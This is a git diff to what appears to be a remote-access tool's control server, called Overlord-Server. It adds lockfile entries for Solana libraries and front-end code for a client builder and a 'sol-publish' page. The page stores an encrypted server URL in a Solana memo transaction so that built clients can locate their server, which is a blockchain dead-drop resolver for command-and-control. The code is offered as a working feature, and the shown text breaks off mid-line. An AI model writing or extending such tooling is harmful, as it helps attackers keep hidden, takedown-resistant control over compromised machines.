"sha512-C+d6UdsYDk0lMebHNR4S2NybQMMngAOnOwYBQjTOiv0MkoJMP0Myw2mgpDLBcpfCmRLxyFqYhS/CfOENq4SJhQ=="], + "escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="], + "eventemitter3": ["eventemitter3@5.0.4", "", {}, "sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw=="], + + "eyes": ["eyes@0.1.8", "", {}, "sha512-GipyPsXO1anza0AOZdy69Im7hGFCNB7Y/NGjDlZGJ3GJJLtwNSb2vrzYrTYJRrRloVx7pl+bhUaTB8yiccPvFQ=="], + + "fast-stable-stringify": ["fast-stable-stringify@1.0.0", "", {}, "sha512-wpYMUmFu5f00Sm0cj2pfivpmawLZ0NKdviQ4w9zJeR8JVtOpOxHmLaJuj0vxvGqMJQWyP/COUkF75/57OKyRag=="], + "fecha": ["fecha@4.2.3", "", {}, "sha512-OP2IUU6HeYKJi3i0z4A19kHMQoLVs4Hc+DPqqxI2h/DPZHTm/vjsfC6P0b4jCMy14XizLBqvndQ+UilD7707Jw=="], "flag-icons": ["flag-icons@7.5.0", "", {}, "sha512-kd+MNXviFIg5hijH766tt+3x76ele1AXlo4zDdCxIvqWZhKt4T83bOtxUOOMlTx/EcFdUMH5yvQgYlFh1EqqFg=="], @@ -234,8 +285,12 @@ "https-proxy-agent": ["https-proxy-agent@7.0.6", "", { "dependencies": { "agent-base": "^7.1.2", "debug": "4" } }, "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw=="], + "humanize-ms": ["humanize-ms@1.2.1", "", { "dependencies": { "ms": "^2.0.0" } }, "sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ=="], + "iconv-lite": ["iconv-lite@0.6.3", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw=="], + "ieee754": ["ieee754@1.2.1", "", {}, "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA=="], + "inherits": ["inherits@2.0.4", "", {}, "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="], "ip-address": ["ip-address@5.9.4", "", { "dependencies": { "jsbn": "1.1.0", "lodash": "^4.17.15", "sprintf-js": "1.1.2" } }, "sha512-dHkI3/YNJq4b/qQaz+c8LuarD3pY24JqZWfjB8aZx1gtpc2MDILu9L9jpZe1sHpzo/yWFweQVn+U//FhazUxmw=="], @@ -246,12 +301,18 @@ "is-stream": ["is-stream@2.0.1", "", {}, "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg=="], + "isomorphic-ws": ["isomorphic-ws@4.0.1", "", { "peerDependencies": { "ws": "*" } }, "sha512-BhBvN2MBpWTaSHdWRb/bwdZJ1WaehQ2L1KngkCkfLUGF0mAWAT1sQUQacEmQ0jXkFw/czDXPNQSL5u2/Krsz1w=="], + + "jayson": ["jayson@4.3.0", "", { "dependencies": { "@types/connect": "^3.4.33", "@types/node": "^12.12.54", "@types/ws": "^7.4.4", "commander": "^2.20.3", "delay": "^5.0.0", "es6-promisify": "^5.0.0", "eyes": "^0.1.8", "isomorphic-ws": "^4.0.1", "json-stringify-safe": "^5.0.1", "stream-json": "^1.9.1", "uuid": "^8.3.2", "ws": "^7.5.10" }, "bin": { "jayson": "bin/jayson.js" } }, "sha512-AauzHcUcqs8OBnCHOkJY280VaTiCm57AbuO7lqzcw7JapGj50BisE3xhksye4zlTSR1+1tAz67wLTl8tEH1obQ=="], + "jiti": ["jiti@2.6.1", "", { "bin": { "jiti": "lib/jiti-cli.mjs" } }, "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ=="], "jose": ["jose@6.2.2", "", {}, "sha512-d7kPDd34KO/YnzaDOlikGpOurfF0ByC2sEV4cANCtdqLlTfBlw2p14O/5d/zv40gJPbIQxfES3nSx1/oYNyuZQ=="], "jsbn": ["jsbn@1.1.0", "", {}, "sha512-4bYVV3aAMtDTTu4+xsDYa6sy9GyJ69/amsu9sYF2zqjiEoZA5xJi3BrfX3uY+/IekIu7MwdObdbDWpoZdBv3/A=="], + "json-stringify-safe": ["json-stringify-safe@5.0.1", "", {}, "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA=="], + "jwa": ["jwa@2.0.1", "", { "dependencies": { "buffer-equal-constant-time": "^1.0.1", "ecdsa-sig-formatter": "1.0.11", "safe-buffer": "^5.0.1" } }, "sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg=="], "jws": ["jws@4.0.1", "", { "dependencies": { "jwa": "^2.0.1", "safe-buffer": "^5.0.1" } }, "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA=="], @@ -302,6 +363,10 @@ "node-addon-api": ["node-addon-api@7.1.1", "", {}, "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ=="], + "node-fetch": ["node-fetch@2.7.0", "", { "dependencies": { "whatwg-url": "^5.0.0" }, "peerDependencies": { "encoding": "^0.1.0" }, "optionalPeers": ["encoding"] }, "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A=="], + + "node-gyp-build": ["node-gyp-build@4.8.4", "", { "bin": { "node-gyp-build": "bin.js", "node-gyp-build-optional": "optional.js", "node-gyp-build-test": "build-test.js" } }, "sha512-LA4ZjwlnUblHVgq0oBF3Jl/6h/Nvs5fzBLwdEF4nuxnFdsfajde4WfxtJr3CaiH+F6ewcIB/q4jQ4UzPyid+CQ=="], + "node-releases": ["node-releases@2.0.36", "", {}, "sha512-TdC8FSgHz8Mwtw9g5L4gR/Sh9XhSP/0DEkQxfEFXOpiul5IiHgHan2VhYYb6agDSfp4KuvltmGApc8HMgUrIkA=="], "one-time": ["one-time@1.0.0", "", { "dependencies": { "fn.name": "1.x.x" } }, "sha512-5DXOiRKwuSEcQ/l0kGCF6Q3jcADFv5tSmRaJck/OqkVFcOzutB134KRSfF0xDrL39MNnqxbHBbUUcjZIhTgb2g=="], @@ -318,6 +383,8 @@ "readable-stream": ["readable-stream@3.6.2", "", { "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } }, "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA=="], + "rpc-websockets": ["rpc-websockets@9.3.7", "", { "dependencies": { "@swc/helpers": "^0.5.11", "@types/uuid": "^10.0.0", "@types/ws": "^8.2.2", "buffer": "^6.0.3", "eventemitter3": "^5.0.1", "uuid": "^11.0.0", "ws": "^8.5.0" }, "optionalDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": "^6.0.0" } }, "sha512-dQal1U0yKH2umW0DgqSecP4G1jNxyPUGY60uUMB8bLoXabC2aWT3Cag9hOhZXsH/52QJEcggxNNWhF+Fp48ykw=="], + "safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="], "safe-stable-stringify": ["safe-stable-stringify@2.5.0", "", {}, "sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA=="], @@ -334,16 +401,26 @@ "stack-trace": ["stack-trace@0.0.10", "", {}, "sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg=="], + "stream-chain": ["stream-chain@2.2.5", "", {}, "sha512-1TJmBx6aSWqZ4tx7aTpBDXK0/e2hhcNSTV8+CbFJtDjbb+I1mZ8lHit0Grw9GRT+6JbIrrDd8esncgBi8aBXGA=="], + + "stream-json": ["stream-json@1.9.1", "", { "dependencies": { "stream-chain": "^2.2.5" } }, "sha512-uWkjJ+2Nt/LO9Z/JyKZbMusL8Dkh97uUBTv3AJQ74y07lVahLY4eEFsPsE97pxYBwr8nnjMAIch5eqI0gPShyw=="], + "string_decoder": ["string_decoder@1.3.0", "", { "dependencies": { "safe-buffer": "~5.2.0" } }, "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA=="], + "superstruct": ["superstruct@2.0.2", "", {}, "sha512-uV+TFRZdXsqXTL2pRvujROjdZQ4RAlBUS5BTh9IGm+jTqQntYThciG/qu57Gs69yjnVUSqdxF9YLmSnpupBW9A=="], + "supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], "tailwindcss": ["tailwindcss@4.2.2", "", {}, "sha512-KWBIxs1Xb6NoLdMVqhbhgwZf2PGBpPEiwOqgI4pFIYbNTfBXiKYyWoTsXgBQ9WFg/OlhnvHaY+AEpW7wSmFo2Q=="], "tapable": ["tapable@2.3.0", "", {}, "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg=="], + "text-encoding-utf-8": ["text-encoding-utf-8@1.0.2", "", {}, "sha512-8bw4MY9WjdsD2aMtO0OzOCY3pXGYNx2d2FfHRVUKkiCPDWjKuOlhLVASS+pD7VkLTVjW268LYJHwsnPFlBpbAg=="], + "text-hex": ["text-hex@1.0.0", "", {}, "sha512-uuVGNWzgJ4yhRaNSiubPY7OjISw4sw4E5Uv0wbjp+OzcbmVU/rsT8ujgcXJhn9ypzsgr5vlzpPqP+MBBKcGvbg=="], + "tr46": ["tr46@0.0.3", "", {}, "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw=="], + "triple-beam": ["triple-beam@1.4.1", "", {}, "sha512-aZbgViZrg1QNcG+LULa7nhZpJTZSLm/mXnHXnbAbjmN5aSa0y7V+wvv6+4WaBtpISJzThKy+PIPxc1Nq1EJ9mg=="], "tslib": ["tslib@2.8.1", "", {}, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], @@ -354,18 +431,30 @@ "update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="], + "utf-8-validate": ["utf-8-validate@6.0.6", "", { "dependencies": { "node-gyp-build": "^4.3.0" } }, "sha512-q3l3P9UtEEiAHcsgsqTgf9PPjctrDWoIXW3NpOHFdRDbLvu4DLIcxHangJ4RLrWkBcKjmcs/6NkerI8T/rE4LA=="], + "util-deprecate": ["util-deprecate@1.0.2", "", {}, "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="], "uuid": ["uuid@9.0.1", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA=="], "web-push": ["web-push@3.6.7", "", { "dependencies": { "asn1.js": "^5.3.0", "http_ece": "1.2.0", "https-proxy-agent": "^7.0.0", "jws": "^4.0.0", "minimist": "^1.2.5" }, "bin": { "web-push": "src/cli.js" } }, "sha512-OpiIUe8cuGjrj3mMBFWY+e4MMIkW3SVT+7vEIjvD9kejGUypv8GPDf84JdPWskK8zMRIJ6xYGm+Kxr8YkPyA0A=="], + "webidl-conversions": ["webidl-conversions@3.0.1", "", {}, "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ=="], + + "whatwg-url": ["whatwg-url@5.0.0", "", { "dependencies": { "tr46": "~0.0.3", "webidl-conversions": "^3.0.0" } }, "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw=="], + "winston": ["winston@3.19.0", "", { "dependencies": { "@colors/colors": "^1.6.0", "@dabh/diagnostics": "^2.0.8", "async": "^3.2.3", "is-stream": "^2.0.0", "logform": "^2.7.0", "one-time": "^1.0.0", "readable-stream": "^3.4.0", "safe-stable-stringify": "^2.3.1", "stack-trace": "0.0.x", "triple-beam": "^1.3.0", "winston-transport": "^4.9.0" } }, "sha512-LZNJgPzfKR+/J3cHkxcpHKpKKvGfDZVPS4hfJCc4cCG0CgYzvlD6yE/S3CIL/Yt91ak327YCpiF/0MyeZHEHKA=="], "winston-transport": ["winston-transport@4.9.0", "", { "dependencies": { "logform": "^2.7.0", "readable-stream": "^3.6.2", "triple-beam": "^1.3.0" } }, "sha512-8drMJ4rkgaPo1Me4zD/3WLfI/zPdA9o2IipKODunnGDcuqbHwjsbB79ylv04LCGGzU0xQ6vTznOMpQGaLhhm6A=="], + "ws": ["ws@7.5.10", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": "^5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-+dbF1tHwZpXcbOJdVOkzLDxZP1ailvSxM6ZweXTegylPny803bFhA+vqBYw4s31NSAk4S2Qz+AKXK9a4wkdjcQ=="], + "yauzl": ["yauzl@3.2.1", "", { "dependencies": { "buffer-crc32": "~0.2.3", "pend": "~1.2.0" } }, "sha512-k1isifdbpNSFEHFJ1ZY4YDewv0IH9FR61lDetaRMD3j2ae3bIXGV+7c+LHCqtQGofSd8PIyV4X6+dHMAnSr60A=="], + "@solana/errors/chalk": ["chalk@5.6.2", "", {}, "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA=="], + + "@solana/errors/commander": ["commander@14.0.3", "", {}, "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw=="], + "@tailwindcss/oxide-wasm32-wasi/@emnapi/core": ["@emnapi/core@1.9.1", "", { "dependencies": { "@emnapi/wasi-threads": "1.2.0", "tslib": "^2.4.0" }, "bundled": true }, "sha512-mukuNALVsoix/w1BJwFzwXBN/dHeejQtuVzcDsfOEsdpCumXb/E9j8w11h5S54tT1xhifGfbbSm/ICrObRb3KA=="], "@tailwindcss/oxide-wasm32-wasi/@emnapi/runtime": ["@emnapi/runtime@1.9.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-VYi5+ZVLhpgK4hQ0TAjiQiZ6ol0oe4mBx7mVv7IflsiEp0OWoVsp/+f9Vc1hOhE0TtkORVrI1GvzyreqpgWtkA=="], @@ -378,10 +467,24 @@ "@tailwindcss/oxide-wasm32-wasi/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + "asn1.js/bn.js": ["bn.js@4.12.3", "", {}, "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g=="], + "color/color-convert": ["color-convert@3.1.3", "", { "dependencies": { "color-name": "^2.0.0" } }, "sha512-fasDH2ont2GqF5HpyO4w0+BcewlhHEZOFn9c1ckZdHpJ56Qb7MHhH/IcJZbBGgvdtwdwNbLvxiBEdg336iA9Sg=="], "color-string/color-name": ["color-name@2.1.0", "", {}, "sha512-1bPaDNFm0axzE4MEAzKPuqKWeRaT43U/hyxKPBdqTfmPF+d6n7FSoTFxLVULUJOmiLp01KjhIPPH+HrXZJN4Rg=="], + "jayson/@types/node": ["@types/node@12.20.55", "", {}, "sha512-J8xLz7q2OFulZ2cyGTLE1TbbZcjpno7FaN6zdJNrgAdrJ+DZzh/uFR6YrTb4C+nXakvud8Q4+rbhoIWlYQbUFQ=="], + + "jayson/uuid": ["uuid@8.3.2", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="], + + "rpc-websockets/@types/uuid": ["@types/uuid@10.0.0", "", {}, "sha512-7gqG38EyHgyP1S+7+xomFtL+ZNHcKv6DwNaCZmJmo1vgMugyF3TCnXVg4t1uk89mLNwnLtnY3TpOpCOyp1/xHQ=="], + + "rpc-websockets/@types/ws": ["@types/ws@8.18.1", "", { "dependencies": { "@types/node": "*" } }, "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg=="], + + "rpc-websockets/uuid": ["uuid@11.1.0", "", { "bin": { "uuid": "dist/esm/bin/uuid" } }, "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A=="], + + "rpc-websockets/ws": ["ws@8.20.0", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-sAt8BhgNbzCtgGbt2OxmpuryO63ZoDk/sqaB/znQm94T4fCEsy/yV+7CdC1kJhOU9lboAEU7R3kquuycDoibVA=="], + "color/color-convert/color-name": ["color-name@2.1.0", "", {}, "sha512-1bPaDNFm0axzE4MEAzKPuqKWeRaT43U/hyxKPBdqTfmPF+d6n7FSoTFxLVULUJOmiLp01KjhIPPH+HrXZJN4Rg=="], } } diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json index bf37897..145940f 100644 --- a/Overlord-Server/package.json +++ b/Overlord-Server/package.json @@ -14,6 +14,7 @@ }, "dependencies": { "@msgpack/msgpack": "^3.0.0", + "@solana/web3.js": "^1.98.4", "adm-zip": "^0.5.12", "flag-icons": "latest", "geoip-lite": "latest", diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 64fa674..601fec6 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -15,6 +15,8 @@ const scriptsLink = document.getElementById("scripts-link"); const pluginsLink = document.getElementById("plugins-link"); const rawServerListCheckbox = document.getElementById("raw-server-list"); const serverUrlInput = document.getElementById("server-url"); +const solMemoCheckbox = document.getElementById("sol-memo"); +const solSettings = document.getElementById("sol-settings"); let currentServerVersion = null; @@ -91,6 +93,9 @@ function saveFormSettings() { platforms: Array.from(document.querySelectorAll('input[name="platform"]')).map((el) => ({ value: el.value, checked: el.checked })), serverUrl: document.getElementById("server-url")?.value ?? "", rawServerList: document.getElementById("raw-server-list")?.checked ?? false, + solMemo: document.getElementById("sol-memo")?.checked ?? false, + solAddress: document.getElementById("sol-address")?.value ?? "", + solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value ?? "", outputName: document.getElementById("output-name")?.value ?? "", mutex: document.getElementById("mutex")?.value ?? "", disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false, @@ -140,6 +145,9 @@ function restoreFormSettings() { } if (s.serverUrl !== undefined) setVal("server-url", s.serverUrl); if (s.rawServerList !== undefined) setCb("#raw-server-list", s.rawServerList); + if (s.solMemo !== undefined) setCb("#sol-memo", s.solMemo); + if (s.solAddress !== undefined) setVal("sol-address", s.solAddress); + if (s.solRpcEndpoints !== undefined) setVal("sol-rpc-endpoints", s.solRpcEndpoints); if (s.outputName !== undefined) setVal("output-name", s.outputName); if (s.mutex !== undefined) setVal("mutex", s.mutex); if (s.disableMutex !== undefined) setCb('input[name="disable-mutex"]', s.disableMutex); @@ -190,11 +198,20 @@ initAccordions(); updateWindowsSectionVisibility(); init(); +if (solMemoCheckbox && solSettings) { + solSettings.classList.toggle("hidden", !solMemoCheckbox.checked); +} + if (rawServerListCheckbox && serverUrlInput) { rawServerListCheckbox.addEventListener("change", () => { const isRaw = rawServerListCheckbox.checked; const current = serverUrlInput.value.trim(); + if (isRaw && solMemoCheckbox) { + solMemoCheckbox.checked = false; + if (solSettings) solSettings.classList.add("hidden"); + } + if (isRaw) { if (current.startsWith("wss://")) { serverUrlInput.value = "https://" + current.slice("wss://".length); @@ -213,6 +230,37 @@ if (rawServerListCheckbox && serverUrlInput) { }); } +if (solMemoCheckbox && solSettings) { + solMemoCheckbox.addEventListener("change", () => { + const isSol = solMemoCheckbox.checked; + solSettings.classList.toggle("hidden", !isSol); + + if (isSol && rawServerListCheckbox) { + rawServerListCheckbox.checked = false; + if (serverUrlInput) { + serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(false); + } + } + + if (isSol) { + const rpcField = document.getElementById("sol-rpc-endpoints"); + if (rpcField && !rpcField.value.trim()) { + rpcField.value = [ + "https://api.mainnet-beta.solana.com", + "https://solana-mainnet.gateway.tatum.io", + "https://go.getblock.us/86aac42ad4484f3c813079afc201451c", + "https://solana-rpc.publicnode.com", + "https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc", + "https://solana.drpc.org", + "https://solana.leorpc.com/?api_key=FREE", + "https://solana.api.onfinality.io/public", + "https://solana.api.pocket.network/", + ].join("\n"); + } + } + }); +} + const persistenceCheckbox = document.querySelector('input[name="enable-persistence"]'); const persistenceMethodContainer = document.getElementById("persistence-method-container"); const persistenceEmptyState = document.getElementById("persistence-empty-state"); @@ -923,6 +971,9 @@ form?.addEventListener("submit", async (e) => { platforms, serverUrl: serverUrl || undefined, rawServerList, + solMemo: document.getElementById("sol-memo")?.checked || false, + solAddress: document.getElementById("sol-address")?.value.trim() || undefined, + solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value.trim() || undefined, mutex: disableMutex ? "" : mutex || undefined, disableMutex, stripDebug, diff --git a/Overlord-Server/public/assets/nav.js b/Overlord-Server/public/assets/nav.js index 21e9f11..d9c60bc 100644 --- a/Overlord-Server/public/assets/nav.js +++ b/Overlord-Server/public/assets/nav.js @@ -26,6 +26,7 @@ if (host) { "/socks5-manager": "socks5-link", "/plugins": "plugins-link", "/build": "build-link", + "/sol-publish": "sol-publish-link", "/users": "users-link", "/user-client-access": "users-link", "/notifications": "notifications-link", diff --git a/Overlord-Server/public/assets/nav/role-ui.js b/Overlord-Server/public/assets/nav/role-ui.js index 3f3c4e3..321db7c 100644 --- a/Overlord-Server/public/assets/nav/role-ui.js +++ b/Overlord-Server/public/assets/nav/role-ui.js @@ -4,6 +4,7 @@ export function applyUserRoleUI(user, refs) { roleBadge, usersLink, buildLink, + solPublishLink, pluginsLink, scriptsLink, logsLink, @@ -67,6 +68,7 @@ export function applyUserRoleUI(user, refs) { usersLink?.classList.remove("hidden"); pluginsLink?.classList.remove("hidden"); logsLink?.classList.remove("hidden"); + solPublishLink?.classList.remove("hidden"); } if (user.role === "admin" || user.role === "operator") { buildLink?.classList.remove("hidden"); diff --git a/Overlord-Server/public/assets/nav/template.js b/Overlord-Server/public/assets/nav/template.js index 86e8c3f..fd28cf8 100644 --- a/Overlord-Server/public/assets/nav/template.js +++ b/Overlord-Server/public/assets/nav/template.js @@ -65,6 +65,12 @@ export function mountNav(host) { class="hidden inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors" > Builder + { + const opt = document.createElement("option"); + opt.value = ep; + opt.textContent = ep; + rpcSelect.appendChild(opt); + }); + } + } + } catch {} + + const customOpt = document.createElement("option"); + customOpt.value = "__custom__"; + customOpt.textContent = "Custom RPC endpoint..."; + rpcSelect.appendChild(customOpt); +} + +loadRpcEndpoints(); + +rpcSelect.addEventListener("change", () => { + customRpcWrapper.classList.toggle("hidden", rpcSelect.value !== "__custom__"); +}); + +function getSelectedRpc() { + if (rpcSelect.value === "__custom__") { + return customRpcInput.value.trim(); + } + return rpcSelect.value; +} + +const isHttps = window.location.protocol === "https:"; +const host = window.location.host; +serverUrlInput.value = `${isHttps ? "wss" : "ws"}://${host}`; + +let keyVisible = false; +toggleKeyBtn.addEventListener("click", () => { + keyVisible = !keyVisible; + privateKeyInput.type = keyVisible ? "text" : "password"; + toggleKeyBtn.innerHTML = keyVisible + ? ' Hide' + : ' Show'; +}); + +let balanceTimeout = null; +privateKeyInput.addEventListener("input", () => { + clearTimeout(balanceTimeout); + balanceTimeout = setTimeout(checkWalletBalance, 800); +}); + +async function checkWalletBalance() { + const key = privateKeyInput.value.trim(); + if (!key || key.length < 32) { + walletInfo.classList.add("hidden"); + return; + } + + try { + const rpc = getSelectedRpc(); + const res = await fetch("/api/sol/balance", { + method: "POST", + headers: { "Content-Type": "application/json" }, + credentials: "include", + body: JSON.stringify({ publicKeyBase58: key, rpcUrl: rpc }), + }); + walletInfo.classList.add("hidden"); + } catch { + walletInfo.classList.add("hidden"); + } +} + +function showOutput(text, isError = false) { + outputSection.classList.remove("hidden"); + outputDiv.textContent = text; + outputDiv.className = `p-3 bg-slate-800/60 border rounded-lg text-sm font-mono break-all whitespace-pre-wrap max-h-64 overflow-y-auto ${ + isError ? "border-red-700/60 text-red-300" : "border-slate-700 text-slate-200" + }`; +} + +previewBtn.addEventListener("click", async () => { + const serverUrl = serverUrlInput.value.trim(); + if (!serverUrl) { + showOutput("Error: Server URL is required", true); + return; + } + + previewBtn.disabled = true; + previewBtn.innerHTML = ' Encrypting...'; + + try { + const res = await fetch("/api/sol/preview", { + method: "POST", + headers: { "Content-Type": "application/json" }, + credentials: "include", + body: JSON.stringify({ serverUrl }), + }); + + const data = await res.json(); + if (!res.ok) { + showOutput(`Error: ${data.error}`, true); + return; + } + + showOutput( + `Encrypted Memo (${data.memoLength} chars):\n\n${data.memo}\n\nThis is what would be stored in the Solana memo transaction.` + ); + } catch (err) { + showOutput(`Error: ${err.message}`, true); + } finally { + previewBtn.disabled = false; + previewBtn.innerHTML = ' Preview Memo'; + } +}); + +publishBtn.addEventListener("click", async () => { + const serverUrl = serverUrlInput.value.trim(); + const privateKey = privateKeyInput.value.trim(); + const rpcUrl = getSelectedRpc(); + + if (!serverUrl) { + showOutput("Error: Server URL is required", true); + return; + } + if (!privateKey) { + showOutput("Error: Private key is required", true); + return; + } + if (!rpcUrl) { + showOutput("Error: RPC endpoint is required", true); + return; + } + + if (!confirm( + "Publish encrypted server URL to Solana?\n\n" + + `Server URL: ${serverUrl}\n` + + `RPC: ${rpcUrl}\n\n` + + "This will create a transaction costing ~0.000005 SOL." + )) { + return; + } + + publishBtn.disabled = true; + publishBtn.innerHTML = ' Publishing...'; + + try { + const res = await fetch("/api/sol/publish", { + method: "POST", + headers: { "Content-Type": "application/json" }, + credentials: "include", + body: JSON.stringify({ serverUrl, privateKeyBase58: privateKey, rpcUrl }), + }); + + const data = await res.json(); + if (!res.ok) { + showOutput(`Error: ${data.error}`, true); + return; + } + + showOutput( + `Published successfully!\n\n` + + `Signature: ${data.signature}\n` + + `Address: ${data.address}\n` + + `Memo length: ${data.memoLength} chars\n\n` + + `Explorer: ${data.explorerUrl}\n\n` + + `Clients built with Solana mode and address "${data.address}" will now connect to:\n${serverUrl}` + ); + + walletInfo.classList.remove("hidden"); + walletAddress.textContent = `Address: ${data.address}`; + } catch (err) { + showOutput(`Error: ${err.message}`, true); + } finally { + publishBtn.disabled = false; + publishBtn.innerHTML = ' Publish 